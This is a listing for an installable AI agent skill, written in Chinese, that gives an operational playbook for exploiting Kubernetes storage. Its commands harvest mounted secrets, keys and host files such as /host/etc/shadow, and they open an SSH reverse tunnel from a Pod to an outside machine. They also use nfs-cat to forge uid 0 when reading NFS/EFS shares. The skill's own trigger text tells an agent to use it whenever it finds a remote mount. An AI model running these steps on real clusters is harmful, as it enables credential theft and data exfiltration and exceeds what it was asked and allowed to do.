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K8s Storage Exploit

BSecurity

Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储,就应使用此技能

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  • Added October 17, 2026
devopsgobashkubernetesawsazuregitapisecurity

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  • api

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B75/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories

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Scanned October 17, 2026

npx -y skills add NetVar1337/agent-skill-canon --skill k8s-storage-exploit --agent claude-code

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SKILL.md
---
name: k8s-storage-exploit
description: "Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储,就应使用此技能"
metadata:
  tags: "k8s,kubernetes,nfs,efs,storage,pv,pvc,mount,文件共享,存储利用"
  category: "cloud"
---

# Kubernetes 存储与文件共享利用

K8s Pod 可能挂载了 NFS、AWS EFS、PV 等存储后端。这些存储往往只依赖网络层访问控制(security group / CIDR),不做应用层认证——也就是说只要 Pod 在同一网络内就能读写,这是云时代仍在用的"上古"访问控制模型。

## Phase 1: 发现挂载的存储

```bash
# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts

# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'

# 查看 K8s 挂载的 Secret/ConfigMap
ls -la /var/run/secrets/
ls -la /etc/config/ 2>/dev/null
mount | grep -F 'tmpfs' | grep -F 'ro'    # Secret/ConfigMap 通常是只读 tmpfs
find /var/run/secrets -type f 2>/dev/null
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null | head -20

# True Volume / PV 通常是 ext4、nfs、efs、cifs、ceph 等实际文件系统
grep -wF "ext4" /etc/mtab 2>/dev/null
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure|hostPath'
```

---

## Phase 2: NFS/EFS 利用

### 本地 NFS 挂载已存在时

```bash
# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null
```

### 发现远程 NFS 但无法直接访问

**方法 A: SSH 端口转发**(需要外网可达的机器)

```bash
# 在 Pod 中(ReadOnly FS 需要 -o StrictHostKeyChecking=no)
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null

# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/
```

**方法 B: nfs-cat / nfs-ls**(无需 mount 权限,最灵巧)

nfs-cat 的核心优势:通过 URL 参数直接指定 uid/gid,无需 root 权限即可以任意用户身份读取文件。

```bash
# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"

# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"
```

> 工具来源: https://github.com/sahlberg/libnfs

**方法 C: showmount 探测**

```bash
showmount -e <nfs-server>
# 显示导出的共享目录
```

---

## Phase 3: AWS EFS 特殊利用

AWS EFS 使用 NFS v4.1 协议。关键点:默认只靠安全组做访问控制,不启用 IAM 认证。这意味着同 VPC 内的任何 Pod 都能直接读写 EFS。

```bash
# 识别 EFS(mount 输出中会有 efs 关键字)
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4

# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com
```

---

## Phase 4: PV/PVC 敏感数据

```bash
# 检查 hostPath 挂载(可能挂载了宿主机目录)
mount | grep -E '/host|/root|/etc'

# 常见的敏感挂载路径
ls /host/etc/shadow 2>/dev/null
ls /host/root/.ssh/ 2>/dev/null
ls /host/var/lib/kubelet/ 2>/dev/null

# 检查 ConfigMap/Secret 挂载
find /var/run/secrets -type f 2>/dev/null
find /etc -name "*.conf" -newer /etc/hostname 2>/dev/null
```

---

## 关键要点

- **NFS/EFS 默认基于网络的访问控制** — Pod 在同一 VPC 内通常可直接访问
- **nfs-cat 是绕过 mount 权限限制的利器** — 支持通过 URL 伪造 uid/gid
- **EFS 的 security group 可能过于宽松** — 允许整个 VPC 访问
- **Secret/ConfigMap 与普通环境变量混在一起** — 仅凭变量名无法判断来源,需要结合挂载点和 API 权限验证
- 存储后端可能包含:flag、credential、SSH key、TLS 证书、数据库备份

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